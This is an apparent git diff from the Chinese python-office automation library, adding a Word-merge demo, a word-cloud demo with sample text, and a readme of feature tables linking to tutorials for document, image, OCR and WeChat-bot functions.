5:38 +@本段代码的视频说明 :https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA +''' + +# 下载方式:pip install python-office +import office + +office.word.merge4docx(input_path=r'D:\程序员晚枫的文件夹\word-in', + output_path=r'D:\程序员晚枫的文件夹\word-out') \ No newline at end of file diff --git a/demo/pydatav/txt2wordcloud/res.jpg b/demo/pydatav/txt2wordcloud/res.jpg new file mode 100644 index 0000000..f18ed03 Binary files /dev/null and b/demo/pydatav/txt2wordcloud/res.jpg differ diff --git a/demo/pydatav/txt2wordcloud/test.txt b/demo/pydatav/txt2wordcloud/test.txt new file mode 100644 index 0000000..344f3ec --- /dev/null +++ b/demo/pydatav/txt2wordcloud/test.txt @@ -0,0 +1,127 @@ +Owner avatar +PyOfficeRobot +Public +CoderWanFeng/PyOfficeRobot + 2 branches + 10 tags +Your main branch isn't protected +Protect this branch from force pushing or deletion, or require status checks before merging. Learn more + +Latest commit +@heyWFeng +heyWFeng add 收集群消息 +f88b34d +13 minutes ago +Git stats + 88 commits +Files +Type +Name +Latest commit message +Commit time +.idea +publish 0.1.3 : 修复微信发文件崩溃的问题 +4 months ago +PR +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +PyOfficeRobot +update README.md +last week +demo +update README.md +last week +dev +add 收集群消息 +13 minutes ago +docs/文章配图 +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +tests +publish 0.1.9 : 解决了微信更新后,不能发消息和文件的问题 +last month +.gitignore +忽略script文件夹 +last year +LICENSE +Initial commit +last year +README.md +update README.md +1 hour ago +requirements.txt +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +setup.cfg +update README.md +last week +setup.py +update author info +10 months ago +README.md + + +👉 项目官网 👈 + +👉 本开源项目的交流群 👈 + +github star gitee star + +又一个微信聊天机器人横空出世了,人人可用! +之前给大家分享过一个微信机器人:一个15分钟的视频,教你用Python创建自己的微信聊天机器人! + +但是之前这个机器人,需要基于网页版才能用(有网页版微信的同学,还可以去继续用);然而很多朋友的微信,是不能登录网页版微信的。 + +有没有一种微信机器人,任何人的微信都可以用,不需要网页微信功能呢? + +在经过技术检索和开发以后,支持所有微信使用的:PyOfficeRobot来啦~ + +1、安装PyOfficeRobot +1行命令,安装PyOfficeRobot这个库。安装视频 + +pip install -i https://mirrors.aliyun.com/pypi/simple/ PyOfficeRobot -U +2、功能演示 +⭐本机器人完全免费,全部功能的演示视频 + 项目源码:Github、gitee +序号 方法名 功能 视频 文档 代码 +1 🔥项目发布 播放 待编辑 打开 +2 send_message 自动发消息 播放 待编辑 打开 +3 send_file 自动发文件 播放 待编辑 打开 +4 chat_by_keywords 根据关键词,自动回复 播放 待编辑 打开 +5 send_message_by_time ⌚定时自动发消息 播放 待编辑 打开 +6 自己加功能 播放 待编辑 打开 +7 ⭐独立使用 播放 待编辑 打开 +8 get_group_list 收集群信息 播放 有BUG,待修复 打开 +9 发消息如何换行? 播放 待编辑 打开 +10 chat_by_gpt 微信 + ChatGPT 播放 待编辑 打开 +11 add 批量加好友 播放 有BUG,待修复 打开 +12 send 批量群发 播放 待编辑 打开 +13 chat_robot 智能聊天 播放 待编辑 打开 +持续更新中,交流群:点我加入 + +微信机器人-其它实现方式 +功能说明 视频 代码 +机器人.exe 点我直达 +ChatGPT版本 点我直达 点我直达 +⌚wxpy-24小时,后台运行 点我直达 点我直达 +企业微信机器人 点我直达 +3、功能Demo +我最近开源了这个库的全部源代码,功能正在开发中,欢迎大家参与开发~ + +演示代码 +4、开发者 +昵称 贡献 时间 +雷杰 解决了微信更新后,不能发送消息和文件的问题 2023/7/6 00:30 + + +⭐Star +Stargazers over time + +📕拓展资料 + + + + + + + + diff --git "a/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" "b/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" new file mode 100644 index 0000000..2079a8f --- /dev/null +++ "b/demo/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 23:25 +@本段代码的视频说明 : +''' +import pydatav + +if __name__ == '__main__': + filename = r'.\txt2wordcloud\test.txt' + color = 'black' + result_file = r'.\txt2wordcloud\res.jpg' + pydatav.image.txt2wordcloud(filename, color, result_file) diff --git a/demo/readme.md b/demo/readme.md new file mode 100644 index 0000000..667a5e1 --- /dev/null +++ b/demo/readme.md @@ -0,0 +1,336 @@ +## 视频教程 + +

+ + + +

+ + + + +

+ + github star + + + gitee star + + + + + + + +

+ + + + +以下[绿色](https://mp.weixin.qq.com/s/-mlsV7PFc27JElOTCskMsg)文字,均可点击直达👇持续更新中🚀 + +## 0、下载和安装 + +| 序号 | 功能 | 视频 | 下载地址 | +|----|------------|---------------------------------------------------|-----------------------------------------------------------| +| 1 | ❤项目发布 | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [Python官网](https://pypi.org/project/python-office/) | +| 2 | 安装python环境 | [播放](https://www.bilibili.com/video/BV1Q44y1u7rV) | [下载软件](https://mp.weixin.qq.com/s/ktmQafdstwep_A5vae_Ymw) | + +## 1、Word + 自动化办公 = poword + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | + |----|-------------------|---------------|---------------------------------------------------|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| +| 1 | merge4docx | 合并Word文档 | [播放](https://www.bilibili.com/video/BV1Vo4y1q7i3) | [查看](https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/%E5%90%88%E5%B9%B6word.py) | +| 2 | docx2doc/doc2docx | doc和docx,互相转换 | [播放](https://www.bilibili.com/video/BV1so4y1H7rj) | [查看](https://mp.weixin.qq.com/s/nyg_LlkHPwx1AY7wCg5KTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/doc%E5%92%8Cdocx%E4%BA%92%E8%BD%AC.py) | +| 3 | docx2pdf | word 转 pdf | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [查看](https://mp.weixin.qq.com/s/Kfmu8vCSr6otGfrf7mj0bA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/word%E8%BD%ACPDF.py) | + +## 2、Excel + 自动化办公 = poexcel + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------------------|---------------------------------|---------------------------------------------------|-----------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | fake2excel | 批量生成Excel数据 | [播放](https://www.bilibili.com/video/BV1wr4y1b7uk) | [查看]([待编辑](https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw)) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%89%B9%E9%87%8F%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE.py) | +| 2 | merge2excel | 合并多个Excel到一个Excel的不同sheet中 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/3ZhZZfGlpNhszCWnOBeklg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%88%E5%B9%B6%E5%A4%9A%E4%B8%AAExcel%E5%88%B0%E4%B8%80%E4%B8%AAExcel%E7%9A%84%E4%B8%8D%E5%90%8Csheet%E4%B8%AD.py) | +| 3 | sheet2excel | 同一个excel里的不同sheet,拆分为不同的excel文件 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/dAx6JEbj5OlVnCcxokCzTQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%8C%E4%B8%80%E4%B8%AAexcel%E9%87%8C%E7%9A%84%E4%B8%8D%E5%90%8Csheet%EF%BC%8C%E6%8B%86%E5%88%86%E4%B8%BA%E4%B8%8D%E5%90%8C%E7%9A%84excel%E6%96%87%E4%BB%B6.py) | +| 4 | find_excel_data | 根据内容查询Excel | [播放](https://www.bilibili.com/video/BV1Bd4y1B7yr) | [查看](https://mp.weixin.qq.com/s/NAfh6ooO_9haALMsF8Jf5w) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E8%AF%A2Excel.py) | +| 5 | excel2pdf | Excel转PDF | [播放](https://www.bilibili.com/video/BV1A84y1N7or) | [查看](https://mp.weixin.qq.com/s/9cobekrIrR7BnUzfepv6Tg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/Excel%E8%BD%ACPDF.py) | +| 6 | query4excel | 把100个Excel中符合条件的数据,汇总到1个Excel里 | [播放](https://www.bilibili.com/video/BV1Hs4y1S7TT) | [查看](https://mp.weixin.qq.com/s/TmglyiAILV5k6Een6EnqtA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%8A%8A100%E4%B8%AAExcel%E4%B8%AD%E7%AC%A6%E5%90%88%E6%9D%A1%E4%BB%B6%E7%9A%84%E6%95%B0%E6%8D%AE%EF%BC%8C%E6%B1%87%E6%80%BB%E5%88%B01%E4%B8%AAExcel%E9%87%8C.py) | +| 7 | count4page | 统计Excel打印出来有多少页 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/131218163) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E7%BB%9F%E8%AE%A1Excel%E6%89%93%E5%8D%B0%E5%87%BA%E6%9D%A5%E6%9C%89%E5%A4%9A%E5%B0%91%E9%A1%B5.py) | +| 8 | merge2sheet | 多个sheet,根据指定的列,合并成1个 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/合并2个Excel的内容到一个sheet中.py) | +| 9 | split_excel_by_column | 根据指定的列,拆分Excel到不同的sheet | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/根据指定的列,拆分excel.py) | + +## 3、PDF + 自动化办公 = popdf + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|---------------|--------------|------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------| +| 1 | add_watermark | PDF加水印 | [播放](https://www.bilibili.com/video/BV1Se411T7au) | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496501&idx=1&sn=1c2c8f2590ea355f82e24336a0a0aae0&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) | +| 2 | txt2pdf | TXT转PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/TXT%E8%BD%ACPDF.py) | +| 3 | encrypt4pdf | PDF加密 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/129963432) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E5%AF%86.py) | +| 4 | decrypt4pdf | PDF解密 | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E8%A7%A3%E5%AF%86.py) | +| 5 | merge2pdf | 合并PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496589&idx=2&sn=2519406d2afc795e7a2f346659f87cb7&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/%E5%90%88%E5%B9%B6PDF.py) | +| 6 | pdf2docx | 💻PDF 转 Word | 💻 [播放](https://www.bilibili.com/video/BV19D4y1i7Eu) | [查看](https://mp.weixin.qq.com/s?__biz=MzUzNTc5NjA4NQ==&mid=2247493574&idx=1&sn=8d7b6dbe12330e67a3dd06085aa65cac&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%ACword.py) | +| 7 | pdf2imgs | PDF 转 图片 | 💻待录制 | [查看](https://mp.weixin.qq.com/s/s3oi0jNOpolT7lLQEjCNTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%AC%E5%9B%BE%E7%89%87.py) | + +## 4、PPT + 自动化办公 = poppt + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------|---------|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| +| 1 | ppt2pdf | PPT转PDF | [播放](https://www.bilibili.com/video/BV17Y411c792) | [查看](https://mp.weixin.qq.com/s?__biz=Mzg3MDU3OTgxMg==&mid=2247490934&idx=1&sn=0634b8342b1fe693ae5b4f72187509e6&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2pdf.py) | +| 2 | ppt2img | PPT转图片 | [播放](https://www.bilibili.com/video/BV1pu411Y7zz/) | [查看](https://mp.weixin.qq.com/s/mrx85Tf8WB9u76Mht2nUxA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2img.py) | +| 3 | merge4ppt | 合并PPT | 待录制 | [查看](https://mp.weixin.qq.com/s/FZOcvCJLsZlAbYhySZyQMQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/merge4ppt.py) | + +## 5、文件 + 自动化办公 = pofile + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-------------------|-----------|---------------------------------------------------|---------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | replace4filename | 批量重命名 | [播放](https://www.bilibili.com/video/BV12r4y187Yj) | [查看](https://mp.weixin.qq.com/s/3osIQAW4y3Ody-fwxEcCWA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E9%87%8D%E5%91%BD%E5%90%8D.py) | +| 2 | search_by_content | 根据内容,查找文件 | [播放](https://www.bilibili.com/video/BV13P411n77G) | [查看](https://mp.weixin.qq.com/s/rvU7O3zHJ-YEd2YU0Z4pew) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6.py) | +| 3 | group_by_name | 自动整理文件 | 待录制 | [查看](https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E8%87%AA%E5%8A%A8%E6%95%B4%E7%90%86%E6%96%87%E4%BB%B6%E5%A4%B9.py) | +| 4 | get_files | 获取文件列表 | [播放](https://www.bilibili.com/video/BV1ua4y1M7ya) | [查看](https://mp.weixin.qq.com/s/-8BKJCQEZ8E0UJlrIyAbaQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8.py) | +| 5 | mkdir | 新建文件夹 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9.py) | +| 6 | check_suffix | 验证文件名的后缀 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A3%80%E6%9F%A5%E5%90%8E%E7%BC%80%E5%90%8D.py) | + +## 6、图片 + 自动化办公 = poimage + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|----------------|---------------|------------------------------------------------------|---------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | add_watermark | 👩给图片 加 水印 | 👩 [播放](https://www.bilibili.com/video/BV1jT411T7n9) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poimage/%E5%9B%BE%E7%89%87%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) | +| 2 | down4img | 下载图片 | [播放](https://www.bilibili.com/video/BV1i8411s7Mq) | [查看](https://mp.weixin.qq.com/s/H9NVBxwo_po8WsqsIRJ7YQ) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/下载图片.py) | +| 3 | del_watermark | 图片去水印 | 待录制 | [查看](https://mp.weixin.qq.com/s/6RS0oo6dNa3mov_5XwNurg) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/图片去水印.py) | +| 4 | txt2wordcloud | 根据文档内容,生成词云图片 | [播放](https://www.bilibili.com/video/BV1Me4y1h7Ku) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | +| 4 | compress_image | 压缩图片 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | +| 4 | image2gif | 图片转Gif | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | + +## 7、文字识别 + 自动化办公 = poocr + +> [全部100+功能的说明](https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg) + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------------|-------|------------------------------------------------------|---------------------------------------------------------|------| +| 1 | VatInvoiceOCR | 识别发票 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | [查看](https://mp.weixin.qq.com/s/5v49ARX6R2C5xmYe6o8euQ) | 待开发 | +| 2 | IDCardOCR | 识别身份证 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | [查看](https://mp.weixin.qq.com/s/4PNhYZ1k2au5XoZOBdUM6A) | 待开发 | +| 3 | BankCardOCR | 识别银行卡 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | [查看](https://mp.weixin.qq.com/s/QQ1cepAISH0PKWfc5v6G6w) | 待开发 | +| 4 | LicensePlateOCR | 识别车牌 | | [查看](https://mp.weixin.qq.com/s/owXyC5DjbOwrcHpTGjMbJA) | 待开发 | + +## 8、便捷工具 + 自动化办公 = wftools + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|----------------|-----------|------------------------------------------------------|---------------------------------------------------------|------| +| 1 | transtools | 翻译万国语言 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | 待编辑 | 待开发 | +| 2 | qrcodetools | 解析二维码图片信息 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | 待编辑 | 待开发 | +| 3 | passwordtools | 密码生成器 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | 待编辑 | 待开发 | +| 4 | weather | 天气查询 | 待录制 | [查看](https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg) | 待开发 | +| 5 | net_speed_test | 测网速 | 待录制 | 待编辑 | 待开发 | +| 6 | url2ip | 获取ip地址 | 待录制 | 待编辑 | 待开发 | +| 7 | lottery8ticket | 生成彩票号码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA) | 待开发 | +| 8 | create_article | 自动写文章 | 待录制 | [查看](https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ) | 待开发 | +| 9 | pwd4wifi | 破解wifi密码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Pw_zZ1Vo9CxYzwRv3ByUJA) | 待开发 | + +## 9、视频 + 自动化办公 = povideo + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------|----------|-----|-----------------------------------------------------------|------| +| 1 | video2mp3 | 从视频里提取音频 | 待录制 | [查看](https://mp.weixin.qq.com/s/cT8lcUwd3UayTfLGddjfJw) | 待开发 | +| 2 | audio2txt | 音频转文字 | 待录制 | [查看](https://cloud.tencent.com/developer/article/2128601) | 待开发 | + +## 10、代码开发 + 自动化办公 = pocode、potime、poprogress + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----|------------|-----|---------------------------------------------------------|------| +| 1 | | 统计代码行数 | 待录制 | [查看](https://mp.weixin.qq.com/s/lOZ4X_s_2n5kTDzk1TEmTQ) | 待开发 | +| 2 | | 计算程序运行时间 | 待录制 | [查看](https://mp.weixin.qq.com/s/SnIdBf11QTad8sWOTSJbWQ) | 待开发 | +| 3 | | 显示程序执行的进度条 | 待录制 | [查看](https://mp.weixin.qq.com/s/4sIP0kfpsP-EFpkyn_wphw) | 待开发 | + +## 11、金融 + 自动化办公 = pofinance + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----|------|-----|---------------------------------------------------------|------| +| 1 | | 单次做T | 待录制 | [查看](https://mp.weixin.qq.com/s/Rxl0JQKzBVyULm2qLm23Uw) | 待开发 | +| 2 | | 批量做T | 待录制 | [查看](https://mp.weixin.qq.com/s/tLH9Bc4vgr8A35vj6rWNXQ) | 待开发 | + +## 12、AI + 自动化办公 + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-------------|-----------|---------------------------------------------------|---------------------------------------------------------|------| +| 1 | pencil4img | AI画素描 | [播放](https://www.bilibili.com/video/BV1rP411N7ao) | [查看](https://mp.weixin.qq.com/s/h-3oL7wFE84P6-BwJqR2tg) | 待开发 | +| 2 | | 还原黑白照片的颜色 | 待录制 | [查看](https://mp.weixin.qq.com/s/fJLtyTCWBU767xieRTohIQ) | 待开发 | +| 2 | img2Cartoon | 生成动漫头像 | 待录制 | 待编辑 | 待开发 | + +## 13、中文编程 + 自动化办公 = pohan + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|------------|-------|---------------------------------------------------|---------------------------------------------------------|------| +| 1 | han2pinyin | 汉字转拼音 | [播放](https://www.bilibili.com/video/BV1gj411S7Eq) | [查看](https://mp.weixin.qq.com/s/BYUhroZ5lp18czy5GOYFQg) | 待开发 | +| 2 | | 重庆话编程 | [播放](https://www.bilibili.com/video/BV1sk4y1Y7wn) | [查看](https://mp.weixin.qq.com/s/X7tYuuA_43p0l7yBWPvi5A) | 待开发 | + +## 14、微信机器人-PyOfficeRobot + +- ⭐本机器人完全免费,全部功能的演示视频 + + 项目源码:[Github](https://gitee.com/CoderWanFeng/PyOfficeRobot/demo)、[gitee](https://gitee.com/CoderWanFeng/PyOfficeRobot) + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 代码 | +|----|----------------------|--------------|----------------------------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | | 🔥项目发布 | [播放](https://www.bilibili.com/video/BV1S84y1m7xd/?p=2) | 待编辑 | [打开](https://mp.weixin.qq.com/s/6slx8hyv_WuK7v5Nzt3XKQ) | +| 2 | send_message | 自动发消息 | [播放](https://www.bilibili.com/video/BV1Jt4y1j7F1) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/001-%E5%8F%91%E4%B8%80%E6%9D%A1%E4%BF%A1%E6%81%AF.py) | +| 3 | send_file | 自动发文件 | [播放](https://www.bilibili.com/video/BV1te4y1y7Ro) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/002-%E5%8F%91%E6%96%87%E4%BB%B6.py) | +| 4 | chat_by_keywords | 根据关键词,自动回复 | [播放](https://www.bilibili.com/video/BV1fV4y1M7ju) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/003-%E6%A0%B9%E6%8D%AE%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D.py) | +| 5 | send_message_by_time | ⌚定时自动发消息 | [播放](https://www.bilibili.com/video/BV1m8411b7LZ/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/004-%E5%AE%9A%E6%97%B6%E5%8F%91%E9%80%81.py) | +| 6 | | 自己加功能 | [播放](https://www.bilibili.com/video/BV14R4y127h6) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/005-%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%9F%E8%83%BD.py) | +| 7 | | ⭐独立使用 | [播放](https://www.bilibili.com/video/BV1SY411y7Uh) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/006-%E7%8B%AC%E7%AB%8B%E7%89%88%E6%9C%AC.py) | +| 8 | get_group_list | 收集群信息 | [播放](https://www.bilibili.com/video/BV1eD4y1g7yZ) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/007-%E6%94%B6%E9%9B%86%E7%BE%A4%E6%B6%88%E6%81%AF.py) | +| 9 | | 发消息如何换行? | [播放](https://www.bilibili.com/video/BV1Xg4y1s79z/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/008-%E5%8F%91%E6%B6%88%E6%81%AF%E6%8D%A2%E8%A1%8C.py) | +| 10 | chat_by_gpt | 微信 + ChatGPT | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/011-chat_chatgpt.py) | +| 11 | add | 批量加好友 | [播放](https://www.bilibili.com/video/BV1DV4y1o7t2) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/009-%E6%89%B9%E9%87%8F%E5%8A%A0%E5%A5%BD%E5%8F%8B.py) | +| 12 | send | 批量群发 | [播放](https://www.bilibili.com/video/BV1Nm4y1C7N7) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/010-%E5%AE%9A%E6%97%B6%E7%BE%A4%E5%8F%91.py) | +| 13 | chat_robot | 智能聊天 | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/012%E3%80%81%E6%99%BA%E8%83%BD%E8%81%8A%E5%A4%A9.py) | + +

+ + + +

+ +## 文字教程 + +全部功能的文字教程👉[传送门](https://www.python-office.com/guide/allFunc.html) + + +

+ + + +

+ +

+ + + +

+ +## 良心建议 + +你好,这里是程序员晚枫,人到中年,才转行程序员。 + +业余时间做编程博主,同时运营python-office这个python的功能库,以下是一些生活VLOG和读者经常问我的一些问题。 + +💻我录制成了视频的形式,大家看看吧~ + +### 生活VLOG + +

+ + + +

+ +### 转行咨询 + +- [如何免费学编程?如何避免被割韭菜?](https://www.bilibili.com/video/BV1SM411K7wm) + +- [3大措施,整治程序员高薪现象!大快人心](https://www.bilibili.com/video/BV1sd4y1c7T9) + +- [学会编程,能拿高薪?别再被洗脑了](https://www.bilibili.com/video/BV19d4y197EP) + +- [少儿编程,有必要学吗?程序员被问懵了](https://mbd.baidu.com/newspage/data/videolanding?nid=sv_5531201104035387002&sourceFrom=homepage) + +- [学编程、学Python接单?别再被割韭菜了!](https://www.xiaohongshu.com/discovery/item/63305311000000001701c8a9) + +- [30岁转行程序员,我的转行经历](https://www.bilibili.com/video/BV1Nr4y1B76X?spm_id_from=333.999.0.0) + +- [Excel还是Python?别被割韭菜,高效办公选一个就够了!](https://mp.weixin.qq.com/s/rMsMpSdQHqS3Q9eSsA0VeA) + +## 交流群 + +

+ + + +

+ +## 学习资源 + +

+ + + +

+ +

+ + + +

+ + +

+ + + +

+ + + + +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ + + +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ + +

+ + + +

+ + +

+ + + +

+ + +

+ + + +

